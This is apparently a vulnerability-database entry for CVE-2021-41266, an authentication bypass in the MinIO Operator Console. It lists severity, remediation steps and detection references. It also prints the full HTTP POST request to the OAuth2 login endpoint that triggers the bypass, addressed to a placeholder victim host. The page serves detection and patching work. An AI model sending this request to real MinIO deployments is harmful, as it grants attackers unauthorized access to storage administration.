🔙 목록으로 돌아가기

CVE-2021-41266: MinIO Operator Console Authentication Bypass

TitleMinIO Operator Console Authentication Bypass
Authoralevsk
SeverityCritical
ImpactAn attacker can bypass authentication and gain unauthorized access to the MinIO Operator Console.
RemediationUpdate to v.0.12.3 or higher. Users unable to upgrade should add automountServiceAccountToken: false to the operator-console deployment in Kubernetes so no service account token will get mounted inside the pod, then disable the external identity provider authentication by unset the CONSOLE_IDP_URL, CONSOLE_IDP_CLIENT_ID, CONSOLE_IDP_SECRET and CONSOLE_IDP_CALLBACK environment variable and instead use the Kubernetes service account token.
CVSS Score9.8
EPSS Score0.79997
CVE IDCVE-2021-41266
CWE IDCWE-306
Tags cve2021 cve minio min vkev vuln

🔍 Vulnerability Description

MinIO Console is a graphical user interface for the for MinIO Operator. MinIO itself is a multi-cloud object storage project. Affected versions are subject to an authentication bypass issue in the Operator Console when an external IDP is enabled.

🌐 HTTP Request

POST /api/v1/login/oauth2/auth HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2486.0 Safari/537.36 Edge/13.10586
Connection: close
Content-Length: 30
Accept: */*
Content-Type: application/json
Accept-Encoding: gzip

{"code":"test","state":"test"}

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-41266.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-41266.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A